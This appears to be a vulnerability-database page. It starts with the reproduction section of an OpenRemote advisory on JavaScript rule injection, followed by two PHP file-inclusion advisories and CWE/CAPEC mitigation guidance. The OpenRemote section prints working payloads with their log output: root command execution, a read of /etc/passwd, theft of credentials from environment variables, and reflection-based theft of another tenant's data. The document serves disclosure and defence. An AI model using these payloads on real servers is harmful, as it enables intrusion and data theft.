Topology\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 OpenRemote Platform \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Realm A \u2502 \u2502 Realm B \u2502 \u2502\n\u2502 \u2502 (Attacker) \u2502 \u2502 (Victim) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 User: attacker \u2502 \u2500\u2500X\u2500\u2500\u2502 SecretSensorB \u2502 \u2502\n\u2502 \u2502 Roles: \u2502 API \u2502 secretData \u2502 \u2502\n\u2502 \u2502 write:rules \u2502blocked\u2502 apiKey \u2502 \u2502\n\u2502 \u2502 read:assets \u2502 \u2502 password \u2502 \u2502\n\u2502 \u2502 NOT superuser \u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2502 API isolation: Realm A user CANNOT access Realm B \u2502\n\u2502 via normal REST API (HTTP 401) \u2502\n\u2502 \u2502\n\u2502 Exploit: Realm A user creates JavaScript rule that \u2502\n\u2502 executes arbitrary code on the SERVER, bypassing all \u2502\n\u2502 tenant isolation \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### Deployment\n\nOpenRemote was started using the project\u0027s official `docker-compose.yml`:\n\n```\ncd /path/to/openremote-openremote\ndocker compose up -d\n```\n\nContainers running:\n\n\u003cimg width=\"1430\" height=\"136\" alt=\"\u622a\u5c4f2026-03-27 14 50 10\" src=\"https://github.com/user-attachments/assets/8291181b-56a3-4fc6-a7d3-77ab276b6d6c\" /\u003e\n\n#### Reproduction Steps \u0026 Evidence\n\n##### Step 0: Obtain Admin Tokens\n\n```\nKC admin-cli token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n[OK] Direct access grants for \u0027master\u0027: HTTP 204\nOR admin token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\nAPI health check: HTTP 200, version=1.20.2\n```\n\n##### Step 1: Setup Multi-Tenant Environment\n\nCreated Realm B (victim) with sensitive assets, and Realm A (attacker) with a non-superuser.\n\n```\nCreate realm \u0027realmb\u0027: HTTP 409 (already exists from prior run \u2014 OK)\n[OK] Direct access grants for \u0027realmb\u0027: HTTP 204\nCreate victim asset in realmb: HTTP 200, ID=4cddi4ncR9w7RHRbVzVZfq\nPlanted sensitive data in Realm B:\n secretData = \u0027REALM_B_CONFIDENTIAL_DATA_67890\u0027\n apiKey = \u0027sk-realmB-api-key-very-secret\u0027\n internalPassword = \u0027P@ssw0rd_Internal_2024\u0027\n\nCreate realm \u0027realma\u0027: HTTP 409\n[OK] Direct access grants for \u0027realma\u0027: HTTP 204\n[OK] User \u0027attacker\u0027 in \u0027realma\u0027, ID: 0d137364-b538-45d2-b3b3-33f57d97b9f5\n[OK] Roles assigned: [\u0027read:rules\u0027, \u0027write:assets\u0027, \u0027read:assets\u0027, \u0027write:rules\u0027]\n```\n\nKey point: The attacker user has write:rules role but is NOT a superuser.\n\n##### Step 2: Verify Tenant Isolation Works via Normal API\n```\nAttacker token: eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6IC...\n\n[TEST] Normal API: GET /api/realmb/asset (attacker token)\nResult: HTTP 401\n\u003e\u003e Cross-realm API access BLOCKED (expected) \u2014 tenant isolation works via API\n```\n\nConclusion: The REST API correctly blocks Realm A users from accessing Realm B assets. The vulnerability is NOT in the API layer but in the rules engine execution.\n\n##### Step 3: Launch the attack.\n\n- ATTACK 1 \u2014 Remote Code Execution (RCE)\n\nPayload sent (via POST /api/realma/rules/realm with attacker token):\n\n```\nvar Runtime = Java.type(\"java.lang.Runtime\");\nvar Scanner = Java.type(\"java.util.Scanner\");\nvar cmd = Java.to([\"sh\", \"-c\", \"id \u0026\u0026 hostname \u0026\u0026 uname -a\"], \"java.lang.String[]\");\nvar proc = Runtime.getRuntime().exec(cmd);\nproc.waitFor();\nvar s = new Scanner(proc.getInputStream()).useDelimiter(\"\\\\A\");\nvar output = s.hasNext() ? s.next() : \"(empty)\";\nLOG.info(\"[EXPLOIT-RCE] Command output: \" + output);\nvar rules = [];\n```\n\nAPI response: HTTP 200 (rule accepted and deployed)\n\nServer log evidence (captured from docker compose logs manager):\n\n```\n2026-03-27T07:17:24.833Z [EXPLOIT-RCE] === REMOTE CODE EXECUTION ===\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] --- RCE OUTPUT ---\n2026-03-27T07:17:24.838Z [EXPLOIT-RCE] uid=0(root) gid=0(root) groups=0(root)\n```\n\nImpact: The attacker\u0027s JavaScript rule executed id on the server and confirmed the process runs as root (uid=0). The attacker can execute any OS command with root privileges.\n\n- ATTACK 2 \u2014 Arbitrary File Read (/etc/passwd)\nPayload:\n\n```\nvar Files = Java.type(\"java.nio.file.Files\");\nvar Paths = Java.type(\"java.nio.file.Paths\");\nvar lines = Files.readAllLines(Paths.get(\"/etc/passwd\"));\nLOG.info(\"[EXPLOIT-FILE] /etc/passwd has \" + lines.size() + \" lines:\");\nfor (var i = 0; i \u003c lines.size(); i++) {\n LOG.info(\"[EXPLOIT-FILE] \" + lines.get(i));\n}\nvar rules = [];\n```\nAPI response: HTTP 200\nServer log evidence:\n\n- ATTACK 3 \u2014 Environment Variable Theft (Database Credentials)\n\n**Payload:**\n```javascript\nvar System = Java.type(\"java.lang.System\");\nvar env = System.getenv();\nLOG.info(\"[EXPLOIT-ENV] === ENVIRONMENT VARIABLE THEFT ===\");\nvar keys = [\"OR_DB_HOST\",\"OR_DB_PORT\",\"OR_DB_NAME\",\"OR_DB_USER\",\"OR_DB_PASSWORD\",\n \"KEYCLOAK_ADMIN_PASSWORD\",\"OR_ADMIN_PASSWORD\",\"OR_HOSTNAME\",\"JAVA_HOME\"];\nfor (var i = 0; i \u003c keys.length; i++) {\n var v = env.get(keys[i]);\n if (v != null) LOG.info(\"[EXPLOIT-ENV] \" + keys[i] + \" = \" + v);\n}\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence** (key variables extracted):\n```\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_HOST = postgresql\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_PORT = 5432\n2026-03-27T07:17:45.069Z [EXPLOIT-ENV] OR_DB_NAME = openremote\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_DB_USER = postgres\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] OR_HOSTNAME = localhost\n2026-03-27T07:17:45.070Z [EXPLOIT-ENV] JAVA_HOME = /usr/lib/jvm/jre\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_HOST = keycloak\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_KEYCLOAK_PORT = 8080\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_STORAGE_DIR = /storage\n2026-03-27T07:17:45.087Z [EXPLOIT-ENV] OR_WEBSERVER_LISTEN_HOST = 0.0.0.0\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DB_POOL_MAX_SIZE = 20\n2026-03-27T07:17:45.088Z [EXPLOIT-ENV] OR_DEV_MODE = false\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_FIREBASE_CONFIG_FILE = /deployment/manager/fcm.json\n2026-03-27T07:17:45.086Z [EXPLOIT-ENV] OR_EMAIL_PORT = 587\n```\n\n**Impact**: Database connection details, internal hostnames, Keycloak configuration, and more are fully exposed. An attacker could use these to directly connect to the PostgreSQL database or attack other internal services.\n\n---\n\n- ATTACK 4 \u2014 Cross-Realm Data Theft (Bypass Multi-Tenant Isolation)\n\nThis is the most critical attack: a user in Realm A steals all data from Realm B by bypassing the `AssetsFacade` realm enforcement via Java reflection.\n\n**Attack mechanism:**\n1. The `assets` object bound into JavaScript is an `AssetsFacade` instance\n2. `AssetsFacade.getResults()` enforces realm isolation by overwriting `assetQuery.realm`\n3. The attacker uses Java reflection to extract the internal `assetStorageService` field\n4. Calls `assetStorageService.findAll()` directly, bypassing realm restriction AND `excludeAttributes()`\n\n**Payload:**\n```javascript\n// Extract internal AssetStorageService via reflection\nvar facadeObj = assets;\nvar clazz = facadeObj.getClass();\nvar storageField = clazz.getDeclaredField(\"assetStorageService\");\nstorageField.setAccessible(true);\nvar storageService = storageField.get(facadeObj);\n\n// Query Realm B directly \u2014 bypassing facade realm enforcement\nvar AssetQuery = Java.type(\"org.openremote.model.query.AssetQuery\");\nvar RealmPredicate = Java.type(\"org.openremote.model.query.filter.RealmPredicate\");\nvar q = new AssetQuery();\nq.realm = new RealmPredicate(\"realmb\");\nvar stolenAssets = storageService.findAll(q);\n// Iterate and dump all attribute values...\nvar rules = [];\n```\n\n**API response**: `HTTP 200`\n\n**Server log evidence \u2014 Stolen data from Realm B:**\n```\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] === CROSS-REALM DATA THEFT ===\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Attacker realm: realma\n2026-03-27T07:17:55.151Z [EXPLOIT-XREALM] Target realm: realmb\n2026-03-27T07:17:55.162Z [EXPLOIT-XREALM] Facade class: org.openremote.manager.rules.facade.AssetsFacade\n2026-03-27T07:17:55.190Z [EXPLOIT-XREALM] Got AssetStorageService: org.openremote.manager.asset.AssetStorageService\n2026-03-27T07:17:55.199Z [EXPLOIT-XREALM] Found 2 assets in realm \u0027realmb\u0027\n2026-03-27T07:17:55.207Z [EXPLOIT-XREALM] STOLEN Asset: name=SecretSensorB, id=3eZKswGIALiGAqeEPdnH3t, type=ThingAsset\n2026-03-27T07:17:55.228Z [EXPLOIT-XREALM] STOLEN ATTR: notes = Internal sensor - classified\n2026-03-27T07:17:55.229Z [EXPLOIT-XREALM] STOLEN ATTR: apiKey = sk-realmB-api-key-very-secret\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: location = GeoJSONPoint{coordinates=5.46, 51.44, NaN}\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: internalPassword = P@ssw0rd_Internal_2024\n2026-03-27T07:17:55.230Z [EXPLOIT-XREALM] STOLEN ATTR: secretData = REALM_B_CONFIDENTIAL_DATA_67890\n```\n\n**Cross-realm enumeration \u2014 all assets across all realms:**\n```\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] Total assets across ALL realms: 5\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=5pVko8DN...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestAsset, id=4zfyoaiL...\n2026-03-27T07:17:55.236Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=master, name=TestMasterAsset, id=3vqFI9kI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=3eZKswGI...\n2026-03-27T07:17:55.237Z [EXPLOIT-XREALM] ALL-REALM Asset: realm=realmb, name=SecretSensorB, id=4cddi4nc...\n```\n\n**Impact**: Complete multi-tenant isolation bypass. Realm A\u0027s non-superuser successfully:\n- Extracted all sensitive attribute values from Realm B (API keys, passwords, confidential data)\n- Enumerated all assets across ALL realms including the `master` realm\n- Bypassed both the realm restriction AND the `excludeAttributes()` protection in `AssetsFacade`\n\n---\n\n- Authorization Bypass Verification\n\nThe same attacker user attempted to create a Groovy rule (which is correctly restricted to superusers):\n\n```\nCreate Groovy rule (same attacker): HTTP 403\n\u003e\u003e Groovy rule REJECTED (HTTP 403) \u2014 as expected for non-superuser\n\u003e\u003e BUT all JavaScript rules were ACCEPTED (HTTP 200) \u2014 THIS IS THE VULNERABILITY!\n```\n\n**Root cause in source code** (`RulesResourceImpl.java:262`):\n```java\n// Only blocks Groovy for non-superusers \u2014 JavaScript is UNRESTRICTED\nif (ruleset.getLang() == Ruleset.Lang.GROOVY \u0026\u0026 !isSuperUser()) {\n throw new ForbiddenException(\"Forbidden\");\n}\n// No check for Lang.JAVASCRIPT!\n```\n\n### Impact\n\nRemote code execution.",
"id": "GHSA-7mqr-33rv-p3mp",
"modified": "2026-04-24T20:43:16Z",
"published": "2026-04-14T22:31:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/security/advisories/GHSA-7mqr-33rv-p3mp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39842"
},
{
"type": "PACKAGE",
"url": "https://github.com/openremote/openremote"
},
{
"type": "WEB",
"url": "https://github.com/openremote/openremote/releases/tag/1.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Expression Injection in OpenRemote"
}
GHSA-7MRH-HPV8-VWXM
Vulnerability from github – Published: 2022-05-01 17:47 – Updated: 2022-05-01 17:47
VLAI
Details
** DISPUTED ** Multiple PHP remote file inclusion vulnerabilities in Atsphp 5.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the CONF[path] parameter to (1) index.php, (2) sources/usercp.php, or (3) sources/admin.php. NOTE: Another researcher has disputed this vulnerability, noting that CONF[path] is defined before use in index.php, that CONF[path] inclusion cannot occur through a direct request to other affected files, and that usercp.php is a typo of user_cp.php.
{
"affected": [],
"aliases": [
"CVE-2007-0831"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-02-07T22:28:00Z",
"severity": "HIGH"
},
"details": "** DISPUTED ** Multiple PHP remote file inclusion vulnerabilities in Atsphp 5.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the CONF[path] parameter to (1) index.php, (2) sources/usercp.php, or (3) sources/admin.php. NOTE: Another researcher has disputed this vulnerability, noting that CONF[path] is defined before use in index.php, that CONF[path] inclusion cannot occur through a direct request to other affected files, and that usercp.php is a typo of user_cp.php.",
"id": "GHSA-7mrh-hpv8-vwxm",
"modified": "2022-05-01T17:47:28Z",
"published": "2022-05-01T17:47:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-0831"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/458581/100/100/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/458600/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7MVG-3F28-P6WW
Vulnerability from github – Published: 2022-05-17 01:45 – Updated: 2022-05-17 01:45
VLAI
Details
PHP remote file inclusion vulnerability in admin/setup.inc.php in Hypermethod eLearning Server 4G allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.
{
"affected": [],
"aliases": [
"CVE-2012-2924"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-05-21T22:55:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in admin/setup.inc.php in Hypermethod eLearning Server 4G allows remote attackers to execute arbitrary PHP code via a URL in the path parameter.",
"id": "GHSA-7mvg-3f28-p6ww",
"modified": "2022-05-17T01:45:14Z",
"published": "2022-05-17T01:45:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-2924"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/75514"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/18858"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/81831"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/53472"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
Architecture and Design
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Operation
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Operation
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
Implementation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.